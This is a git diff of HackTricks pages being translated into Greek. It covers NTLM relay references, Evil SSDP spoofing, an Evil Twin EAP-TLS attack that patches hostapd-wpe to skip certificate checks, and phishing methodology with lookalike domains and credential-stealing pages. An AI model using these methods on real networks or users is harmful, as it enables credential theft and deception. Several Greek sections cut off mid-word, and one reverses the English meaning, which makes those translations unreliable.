Αυτά τα εργαλεία και τεχνικές αποτελούν έναν πλήρη σύνολο για την πραγματοποίηση επιθέσεων NTLM Relay σε διάφορα περιβάλλοντα δικτύου.
|
||||
|
||||
These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.
|
||||
### Εξαναγκασμός σύνδεσης NTLM
|
||||
|
||||
### Force NTLM Logins
|
||||
|
||||
In Windows you **may be able to force some privileged accounts to authenticate to arbitrary machines**. Read the following page to learn how:
|
||||
Στα Windows, **μπορείτε να εξαναγκάσετε ορισμένους προνομιούχους λογαριασμούς να πιστοποιηθούν σε αυθαίρετες μηχανές**. Διαβάστε την παρακάτω σελίδα για να μάθετε πώς:
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
|
||||
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
* [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||
* [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
|
||||
* [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
|
||||
* [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||
* [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,53 +1,31 @@
|
|||
# Spoofing SSDP and UPnP Devices with EvilSSDP
|
||||
# Πλαστογραφώντας SSDP και UPnP Συσκευές με το EvilSSDP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφησης**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
**Check [https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/) for further information.**
|
||||
**Ελέγξτε το [https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/) για περαιτέρω πληροφορίες.**
|
||||
|
||||
## **SSDP & UPnP Overview**
|
||||
## **Επισκόπηση SSDP & UPnP**
|
||||
|
||||
SSDP (Simple Service Discovery Protocol) is utilized for network service advertising and discovery, operating on UDP port 1900 without needing DHCP or DNS configurations. It's fundamental in UPnP (Universal Plug and Play) architecture, facilitating seamless interaction among networked devices like PCs, printers, and mobile devices. UPnP's zero-configuration networking supports device discovery, IP address assignment, and service advertising.
|
||||
Το SSDP (Simple Service Discovery Protocol) χρησιμοποιείται για τη διαφήμιση και ανακάλυψη υπηρεσιών δικτύου, λειτουργώντας στη θύρα UDP 1900 χωρίς να απαιτείται ρύθμιση DHCP ή DNS. Είναι θεμελιώδες στην αρχιτεκτονική UPnP (Universal Plug and Play), διευκολύνοντας την απρόσκοπτη αλληλεπίδραση μεταξύ δικτυωμένων συσκευών όπως υπολογιστές, εκτυπωτές και κινητές συσκευές. Η αυτόματη δικτύωση μηδενικής ρύθμισης του UPnP υποστηρίζει την ανακάλυψη συσκευών, την ανάθεση διευθύνσεων IP και τη διαφήμιση υπηρεσιών.
|
||||
|
||||
## **UPnP Flow & Structure**
|
||||
## **Ροή & Δομή UPnP**
|
||||
|
||||
UPnP architecture comprises six layers: addressing, discovery, description, control, eventing, and presentation. Initially, devices attempt to obtain an IP address or self-assign one (AutoIP). The discovery phase involves the SSDP, with devices actively sending M-SEARCH requests or passively broadcasting NOTIFY messages to announce services. The control layer, vital for client-device interaction, leverages SOAP messages for command execution based on device descriptions in XML files.
|
||||
Η αρχιτεκτονική UPnP περιλαμβάνει έξι επίπεδα: αντιμετώπιση, ανακάλυψη, περιγραφή, έλεγχος, γεγονοτολογία και παρουσίαση. Αρχικά, οι συσκευές προσπαθούν να λάβουν μια διεύθυνση IP ή να αναθέσουν μια αυτόματα (AutoIP). Η φάση της ανακάλυψης περιλαμβάνει το SSDP, με τις συσκευές να αποστέλλουν ενεργά αιτήσεις M-SEARCH ή να εκπέμπουν παθητικά μηνύματα NOTIFY για να ανακοινώσουν υπηρεσίες. Το επίπεδο έλεγχου, το οποίο είναι ζωτικής σημασίας για την αλληλεπίδραση μεταξύ πελάτη και συσκευής, χρησιμοποιεί μηνύματα SOAP για την εκτέλεση εντολών βασιζόμενο σε περιγραφές συσκευών σε αρχεία XML.
|
||||
|
||||
## **IGD & Tools Overview**
|
||||
## **Επισκόπηση IGD & Εργαλείων**
|
||||
|
||||
IGD (Internet Gateway Device) facilitates temporary port mappings in NAT setups, allowing command acceptance via open SOAP control points despite standard WAN interface restrictions. Tools like **Miranda** aid in UPnP service discovery and command execution. **Umap** exposes WAN-accessible UPnP commands, while repositories like **upnp-arsenal** offer an array of UPnP tools. **Evil SSDP** specializes in phishing via spoofed UPnP devices, hosting templates to mimic legitimate services.
|
||||
Το IGD (Internet Gateway Device) διευκολύνει την προσωρινή αντιστοίχιση θυρών σε ρυθμίσεις NAT, επιτρέποντας την αποδοχή εντολών μέσω ανοιχτών σημείων ελέγχου SOAP παρά τους περιορισμούς της τυπικής διεπαφής WAN. Εργαλεία όπως το **Miranda** βοηθούν στην ανακάλυψη υπηρεσιών UPnP και την εκτέλεση εντολών. Το **Umap** αποκαλύπτει εντολές UPnP προσβάσιμες από το WAN, ενώ αποθετήρια όπως το **upnp-arsenal** προσφέρουν μια σειρά εργαλείων UPnP. Το **Evil SSDP** εξειδικεύεται στο phishing μέσω πλαστογραφημένων συσκευών UPnP, φιλοξενώντας πρότυπα για να μιμηθεί νόμιμες υπηρεσίες.
|
||||
|
||||
## **Evil SSDP Practical Usage**
|
||||
## **Πρακτική Χρήση του Evil SSDP**
|
||||
|
||||
Evil SSDP effectively creates convincing fake UPnP devices, manipulating users into interacting with seemingly authentic services. Users, tricked by the genuine appearance, may provide sensitive information like credentials. The tool's versatility extends to various templates, mimicking services like scanners, Office365, and even password vaults, capitalizing on user trust and network visibility. Post credential capture, attackers can redirect victims to designated URLs, maintaining the deception's credibility.
|
||||
|
||||
## **Mitigation Strategies**
|
||||
|
||||
To combat these threats, recommended measures include:
|
||||
|
||||
- Disabling UPnP on devices when not needed.
|
||||
- Educating users about phishing and network security.
|
||||
- Monitoring network traffic for unencrypted sensitive data.
|
||||
|
||||
In essence, while UPnP offers convenience and network fluidity, it also opens doors to potential exploitation. Awareness and proactive defense are key to ensuring network integrity.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
Το Evil SSDP δημιουργεί αποτελεσματικά αξιόπιστες πλαστές συσκευές UPnP, παραπλανώντας τους χρήστες να αλληλεπιδράσουν με φαινομενικά αυθεντικές υπηρεσίες. Οι χρήστες, που έχουν εξαπατηθεί από την αυθεντική εμφάνιση, μπορεί να παρέχουν ευαίσθητες πληροφορίες όπως διαπιστευτήρια. Η ευελιξία του εργαλείου επεκτείνεται σε διάφορα πρότυπα, μιμούμενο υπηρεσίες όπως σαρωτές, Office365 και ακόμα και αποθηκευτικά κουτιά κωδικών, εκ
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,76 +1,38 @@
|
|||
# Evil Twin EAP-TLS
|
||||
# Κακόβουλος Διπλός EAP-TLS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Συμμετάσχετε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||
**Συμβουλή για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty που δημιουργήθηκε από χάκερς, για χάκερς**! Γίνετε μέλος μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
At some point I needed to use the proposed solution by the post bellow but the steps in [https://github.com/OpenSecurityResearch/hostapd-wpe](https://github.com/OpenSecurityResearch/hostapd-wpe) wasn't working in modern kali (2019v3) anymore.\
|
||||
Anyway, it's easy to make them work.\
|
||||
You only need to download the hostapd-2.6 from here: [https://w1.fi/releases/](https://w1.fi/releases/) and before compiling again hostapd-wpe install: `apt-get install libssl1.0-dev`
|
||||
Σε κάποιο σημείο χρειάστηκε να χρησιμοποιήσω την προτεινόμενη λύση από την παρακάτω ανάρτηση, αλλά τα βήματα στο [https://github.com/OpenSecurityResearch/hostapd-wpe](https://github.com/OpenSecurityResearch/hostapd-wpe) δεν λειτουργούσαν πλέον στο σύγχρονο kali (2019v3).\
|
||||
Παρόλα αυτά, είναι εύκολο να τα κάνετε να λειτουργήσουν.\
|
||||
Χρειάζεται μόνο να κατεβάσετε το hostapd-2.6 από εδώ: [https://w1.fi/releases/](https://w1.fi/releases/) και πριν εγκαταστήσετε ξανά το hostapd-wpe, εκτελέστε: `apt-get install libssl1.0-dev`
|
||||
|
||||
### Analyzing and Exploiting EAP-TLS in Wireless Networks
|
||||
### Ανάλυση και Εκμετάλλευση του EAP-TLS σε Ασύρματα Δίκτυα
|
||||
|
||||
#### Background: EAP-TLS in Wireless Networks
|
||||
EAP-TLS is a security protocol providing mutual authentication between client and server using certificates. The connection is only established if both the client and the server authenticate each other's certificates.
|
||||
#### Υπόβαθρο: EAP-TLS σε Ασύρματα Δίκτυα
|
||||
Το EAP-TLS είναι ένα πρωτόκολλο ασφαλείας που παρέχει αμοιβαία πιστοποίηση μεταξύ πελάτη και διακομιστή χρησιμοποιώντας πιστοποιητικά. Η σύνδεση διατηρείται μόνο εάν τόσο ο πελάτης όσο και ο διακομιστής επαληθεύουν τα πιστοποιητικά ο ένας του άλλου.
|
||||
|
||||
#### Challenge Encountered
|
||||
During an assessment, an interesting error was encountered when using the `hostapd-wpe` tool. The tool rejected the client's connection due to the client's certificate being signed by an unknown Certificate Authority (CA). This indicated that the client did trust the fake server's certificate, pointing to lax security configurations on the client side.
|
||||
#### Πρόκληση που Αντιμετωπίστηκε
|
||||
Κατά τη διάρκεια μιας αξιολόγησης, συναντήθηκε ένα ενδιαφέρον σφάλμα κατά τη χρήση του εργαλείου `hostapd-wpe`. Το εργαλείο απέρριπτε τη σύνδεση του πελάτη επειδή το πιστοποιητικό του πελάτη ήταν υπογεγραμμένο από μια άγνωστη Αρχή Πιστοποίησης (CA). Αυτό υποδείκνυε ότι ο πελάτης δεν εμπιστευόταν το πλαστό πιστοποιητικό του διακομιστή, δείχνοντας ανεπαρκείς ρυθμίσεις ασφαλείας στην πλευρά του πελάτη.
|
||||
|
||||
#### Objective: Setting Up a Man-in-the-Middle (MiTM) Attack
|
||||
The goal was to modify the tool to accept any client certificate. This would allow the establishment of a connection with the malicious wireless network and enable a MiTM attack, potentially capturing plaintext credentials or other sensitive data.
|
||||
#### Στόχος: Δημιουργία Επίθεσης Man-in-the-Middle (MiTM)
|
||||
Ο στόχος ήταν να τροποποιηθεί το εργαλείο ώστε να αποδέχεται οποιοδήποτε πιστοποιητικό πελάτη. Αυτό θα επέτρεπε τη δημιουργία μιας σύνδεσης με το κακόβουλο ασύρματο δίκτυο και θα επέτρεπε μια επίθεση MiTM, με τη δυνατότητα καταγραφής απλού κειμένου διαπιστευτήρια ή άλλα ευαίσθητα δεδομένα.
|
||||
|
||||
#### Solution: Modifying `hostapd-wpe`
|
||||
Analysis of the source code of `hostapd-wpe` revealed that the client certificate validation was controlled by a parameter (`verify_peer`) in the OpenSSL function `SSL_set_verify`. By changing this parameter's value from 1 (validate) to 0 (do not validate), the tool was made to accept any client certificate.
|
||||
|
||||
#### Execution of the Attack
|
||||
1. **Environment Check:** Use `airodump-ng` to monitor wireless networks and identify targets.
|
||||
2. **Set Up Fake AP:** Run the modified `hostapd-wpe` to create a fake Access Point (AP) mimicking the target network.
|
||||
3. **Captive Portal Customization:** Customize the login page of the captive portal to appear legitimate and familiar to the target user.
|
||||
4. **De-authentication Attack:** Optionally, perform a de-auth attack to disconnect the client from the legitimate network and connect them to the fake AP.
|
||||
5. **Capturing Credentials:** Once the client connects to the fake AP and interacts with the captive portal, their credentials are captured.
|
||||
|
||||
#### Observations from the Attack
|
||||
- On Windows machines, the system might automatically connect to the fake AP, presenting the captive portal when web navigation is attempted.
|
||||
- On an iPhone, the user might be prompted to accept a new certificate and then presented with the captive portal.
|
||||
|
||||
#### Conclusion
|
||||
While EAP-TLS is considered secure, its effectiveness heavily depends on the correct configuration and cautious behavior of end-users. Misconfigured devices or unsuspecting users accepting rogue certificates can undermine the security of an EAP-TLS protected network.
|
||||
|
||||
For further details check https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/
|
||||
|
||||
## References
|
||||
* [https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/](https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/)
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
#### Λύση: Τροποποίηση του `hostapd-wpe`
|
||||
Η ανάλυση του πηγαίου κώδικα του `hostapd-wpe` έδειξε ότι η επαλήθευση του πιστοποιητικού του πελάτη ελέγχεται από ένα παράμετρο (`verify_peer`) στη συνάρ
|
||||
|
|
|
@ -1,112 +1,63 @@
|
|||
# Phishing Methodology
|
||||
# Μεθοδολογία Phishing
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## Methodology
|
||||
## Μεθοδολογία
|
||||
|
||||
1. Recon the victim
|
||||
1. Select the **victim domain**.
|
||||
2. Perform some basic web enumeration **searching for login portals** used by the victim and **decide** which one you will **impersonate**.
|
||||
3. Use some **OSINT** to **find emails**.
|
||||
2. Prepare the environment
|
||||
1. **Buy the domain** you are going to use for the phishing assessment
|
||||
2. **Configure the email service** related records (SPF, DMARC, DKIM, rDNS)
|
||||
3. Configure the VPS with **gophish**
|
||||
3. Prepare the campaign
|
||||
1. Prepare the **email template**
|
||||
2. Prepare the **web page** to steal the credentials
|
||||
4. Launch the campaign!
|
||||
1. Εξερεύνηση του θύματος
|
||||
1. Επιλέξτε το **τομέα του θύματος**.
|
||||
2. Εκτελέστε μερικές βασικές εντοπίσεις στον ιστό **αναζητώντας για πύλες σύνδεσης** που χρησιμοποιεί το θύμα και **αποφασίστε** ποια θα **παραπλανήσετε**.
|
||||
3. Χρησιμοποιήστε κάποιο **OSINT** για να **βρείτε email**.
|
||||
2. Προετοιμάστε το περιβάλλον
|
||||
1. **Αγοράστε τον τομέα** που θα χρησιμοποιήσετε για την αξιολόγηση phishing
|
||||
2. **Διαμορφώστε την υπηρεσία email** σχετικά με τις εγγραφές (SPF, DMARC, DKIM, rDNS)
|
||||
3. Διαμορφώστε το VPS με το **gophish**
|
||||
3. Προετοιμάστε την εκστρατεία
|
||||
1. Προετοιμάστε το **πρότυπο email**
|
||||
2. Προετοιμάστε την **ιστοσελίδα** για να κλέψετε τα διαπιστευτήρια
|
||||
4. Ξεκινήστε την εκστρατεία!
|
||||
|
||||
## Generate similar domain names or buy a trusted domain
|
||||
## Δημιουργία παρόμοιων ονομάτων τομέων ή αγορά ενός αξιόπιστου τομέα
|
||||
|
||||
### Domain Name Variation Techniques
|
||||
### Τεχνικές Παραλλαγής Ονομάτων Τομέων
|
||||
|
||||
* **Keyword**: The domain name **contains** an important **keyword** of the original domain (e.g., zelster.com-management.com).
|
||||
* **hypened subdomain**: Change the **dot for a hyphen** of a subdomain (e.g., www-zelster.com).
|
||||
* **New TLD**: Same domain using a **new TLD** (e.g., zelster.org)
|
||||
* **Homoglyph**: It **replaces** a letter in the domain name with **letters that look similar** (e.g., zelfser.com).
|
||||
* **Transposition:** It **swaps two letters** within the domain name (e.g., zelster.com).
|
||||
* **Singularization/Pluralization**: Adds or removes “s” at the end of the domain name (e.g., zeltsers.com).
|
||||
* **Omission**: It **removes one** of the letters from the domain name (e.g., zelser.com).
|
||||
* **Repetition:** It **repeats one** of the letters in the domain name (e.g., zeltsser.com).
|
||||
* **Replacement**: Like homoglyph but less stealthy. It replaces one of the letters in the domain name, perhaps with a letter in proximity of the original letter on the keyboard (e.g, zektser.com).
|
||||
* **Subdomained**: Introduce a **dot** inside the domain name (e.g., ze.lster.com).
|
||||
* **Insertion**: It **inserts a letter** into the domain name (e.g., zerltser.com).
|
||||
* **Missing dot**: Append the TLD to the domain name. (e.g., zelstercom.com)
|
||||
* **Λέξη-κλειδί**: Το όνομα του τομέα **περιέχει** μια σημαντική **λέξη-κλειδί** του αρχικού τομέα (π.χ., zelster.com-management.com).
|
||||
* **Υποτομέας με παύλα**: Αλλάξτε το **τελεία με παύλα** ενός υποτομέα (π.χ., www-zelster.com).
|
||||
* **Νέο TLD**: Ίδιος τομέας χρησιμοποιώντας ένα **νέο TLD** (π.χ., zelster.org)
|
||||
